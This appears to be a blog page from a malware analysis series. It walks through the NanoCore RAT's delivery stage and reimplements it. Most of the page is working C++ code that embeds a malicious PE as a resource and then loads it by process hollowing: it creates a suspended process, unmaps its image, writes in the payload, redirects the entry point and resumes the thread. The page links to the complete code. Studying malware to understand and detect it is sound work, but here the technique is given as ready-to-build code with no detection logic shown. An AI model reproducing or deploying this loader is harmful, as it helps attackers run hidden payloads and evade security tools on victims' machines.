MalwareAnalysisSeries

This repository contains the analysis reports, technical details or any tools created for helping in malware analysis. Additionally, the repo contains extracted TTPs with code along with the detection rules


Project maintained by shaddy43 Hosted on GitHub Pages — Theme by mattgraham

NanoCore 1.2.2.0: Process Hollowing

RAT Image

NanoCore delivery stages contains a packed executable hidden inside the resource of a binary. It is launched as stage2 malware after Hollowing a newly started instance of stage1 process. The malicious resource is extracted and used in Process Injection of type Process Hollowing

NanoCore combines two defense evasion TTPs to execute its 2nd stage payload. Initially, it utilizes Obfuscated Files or Information: Software Packing (T1027.002), alternate to resource forking on macOS, to conceal a second-stage payload within the resource section of its executable. Upon execution, the malware extracts this payload and performs Process Injection: Process Hollowing (T1055.012), where it spawns a new instance of itself, hollows out the process memory, and injects the extracted payload. This method allows the malware to execute the full binary within the new process without the need to make the injected code position-independent, effectively bypassing security mechanisms and complicating detection.

There are other layers of security as well, like the malicious resource is encrypted and is decrypted at run-time by using the GUID of executing binary, before injecting the second stage payload. I am going to skip additional evasion techniques in this behaviour and only focus on two which are inter-linked.

Implementation

Add Resource

First step is to be able to add the malicious resource in the stage1 binary, which will be hollowed into another process (or instance of itself) to launch stage2 malware. To include the malicious resource in the project, we neeed to create Resource.rc file which links all resources to the project.

Right click on Resource Files and choose Add New Item which will be the Resource File (.rc)

Add Resource.rc

Once the Resource.rc file is created in the project, right click on it and Add Resource, explore the malicious resource you want to add in the project. If the resource is a custom type then we must identify its type after it is added as shown in the screenshots below:

Include resource file

Custom resource type

We can also check for resource symbols and identifiers that are used to Find Resource by clicking on Resource Symbols. These symbols will be used in our code to locate and load resource files.

Note: the embedded resource must be compiled in same architecture as its victim. For example, NanoCore delivery stager is of type x86 binary which extracts and injects malicious resource in itself so the malicious resource must be of same type x86 compiled binary.

Undocumented Functions

NanoCore delivery stager uses ZwUnmapViewOfSection for unmapping the malicious resource to be executed in the memory space of victim process. Since, it uses undocumented ntdll functions therefore, we need to define its structure for importing this API

#pragma comment(lib, "ntdll.lib")
typedef LONG(NTAPI* pfnZwUnmapViewOfSection)(HANDLE, PVOID);

Find and Load Resource

If the resource is added, we can Find resource using the resourse symbols or ID. We will use win32 APIs FindResource and LoadResource. I am finding the resource using its ID which is 101 and the type of resouce which was custom binary. FindResource will provide us HRSRC handle of resource and LoadResource will load the resource data into the memory. After that we will use the resource data variable returned by LoadResource to get the base address of resource in memory using API LockResource. We can also find the size of resource using the API SizeofResource.

// Load the binary from resources
cout << "[x] Loading malicious resource" << endl;
HMODULE hModule = GetModuleHandle(NULL);
HRSRC hResource = FindResource(hModule, MAKEINTRESOURCE(101), _T("binary"));
//HRSRC hResource = FindResource(hModule, (LPCWSTR)"IDR_BINARY1", RT_STRING);
if (hResource == NULL) {
    std::cout << "[!] Failed to find the resource" << std::endl;
    return -1;
}

HGLOBAL hResourceData = LoadResource(hModule, hResource);
if (hResourceData == NULL) {
    std::cout << "[!] Failed to load the resource" << std::endl;
    return -2;
}

cout << "[x] Getting the address of malicious resource in memory" << endl;
LPVOID pResourceData = LockResource(hResourceData);
DWORD dwResourceSize = SizeofResource(hModule, hResource);

Process Hollowing

Process hollowing is a technique used by malware to inject malicious code into a legitimate process. It involves creating a new process in a suspended state, hollowing out its memory by unmapping or replacing its code, and then injecting and executing the malicious code within the context of the hollowed process. This allows the malicious code to run under the guise of a legitimate process, helping it evade detection by security software.

The major steps of process hollowing are:

Create Process in Suspended State

NanoCore creates another instance of itself in a suspended state to be hollowed out.

// Create a new process in a suspended state
cout << "[x] Creating process in suspended state" << endl;
std::string itself = argv[0];
LPSTARTUPINFOA target_si = new STARTUPINFOA();
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION();
CONTEXT c;

//create Target image for hollowing
if (CreateProcessA(
    (LPSTR)itself.c_str(),
    NULL,
    NULL,
    NULL,
    TRUE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    target_si,
    target_pi) == 0) {
    cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
    return -3;
}

Find base address of target process

We can find the base address of target process using GetThreadContext and ReadProcessMemory. The code retrieves the target process’s thread context to access the EBX register, then uses it to find the base address of the target process’s executable image.

//get thread context to access register values EAX, EBX 
c.ContextFlags = CONTEXT_INTEGER;
GetThreadContext(target_pi->hThread, &c);

//Find base address of Target process
PVOID pTargetImageBaseAddress;
ReadProcessMemory(
    target_pi->hProcess,
    (PVOID)(c.Ebx + 8),
    &pTargetImageBaseAddress,
    sizeof(PVOID),
    0
);

Unmap target process memory

Using undocumented API from ntdll, we will use ZwUnmapViewOfSection to unmap target process memory for hollowing it out, so that the shellcode could be written on top of this memory.

//Hollow process 
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll");
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");


DWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess, pTargetImageBaseAddress);
if (dwResult) {
    cout << "[!] Unmapping failed" << endl;
    TerminateProcess(target_pi->hProcess, 1);
    return -4;
}

Write headers/sections into target process memory

Following code injects a malicious PE (Portable Executable) image which was extracted from resources, into a target process by first determining the size and base address of the malicious resource from its headers. It then allocates memory in the target process at the specified unmapped address to accommodate the entire resource. The PE headers are written into this allocated memory, followed by the individual sections of the PE file, effectively loading the malicious code into the target process’s memory space. This prepares the target process to execute the injected malicious code.

//get Malicious resource size from NT Headers
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pResourceData;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pResourceData + pDOSHeader->e_lfanew);
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage;
cout << "[+] Malicious Resource Base Address: 0x" << pNTHeaders->OptionalHeader.ImageBase << endl;

PVOID pHollowAddress = VirtualAllocEx(
    target_pi->hProcess,
    pTargetImageBaseAddress,
    sizeOfMaliciousImage,
    0x3000,
    0x40
);
if (pHollowAddress == NULL) {
    cout << "[!] Memory allocation in target process failed. Error: " << GetLastError() << endl;
    TerminateProcess(target_pi->hProcess, 0);
    return -5;
}
cout << "[+] Memory allocated in target at: 0x" << pHollowAddress << endl;

if (!WriteProcessMemory(
    target_pi->hProcess,
    pTargetImageBaseAddress,
    pResourceData,
    pNTHeaders->OptionalHeader.SizeOfHeaders,
    NULL
)) {
    cout << "[!] Writting Headers failed. Error: " << GetLastError() << endl;
    return -6;
}
cout << "[+] Headers written to memory" << endl;

//write malicious PE sections into target
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
    PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pResourceData + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));

    WriteProcessMemory(
        target_pi->hProcess,
        (PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress),
        (PVOID)((LPBYTE)pResourceData + pSectionHeader->PointerToRawData),
        pSectionHeader->SizeOfRawData,
        NULL
    );
    //cout << "[+] Section: " << pSectionHeader->Name <<" written to memory."<< endl;
}
cout << "[+] Sections written to memory" << endl;

SetThreadContext to the written shellcode

//change victim entry point (EAX thread context) to malicious entry point & resume thread
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(target_pi->hThread, &c);
cout << "[+] Thread Context Changed " << endl;

ResumeThread

The victim process have been hollowed and injected with malicious resource. Now if we resume the thread, it will start executing malicious code instead of original content. This is how NanoCore sets up its 2nd stage malware. The malicious resource is encrypted in delivery stager which bypasses security controls and it decrypts the resource at run-time, starts another process, hollow it and write malicious code into it. Finally it resumes the thread!

cout << "[x] Resuming Thread" << endl;
ResumeThread(target_pi->hThread);

Process Hollowing is one of the most widely used injection technqiue because of its complexity and bypass rate. Most of the initial delivery stagers use Process Hollowing to launch stage2 malware in the victim systems making it partially fileless which is harder to detect and prevent.

Note: This code can only be compiled in x86 arch because its finding the entry points from 32-bit regisgters

Find Complete Code Click Here: Shaddy43/MalwareAnalaysisSeries

Disclaimer

Artifacts and code of this repository is intended to be used for educational purposes only!!!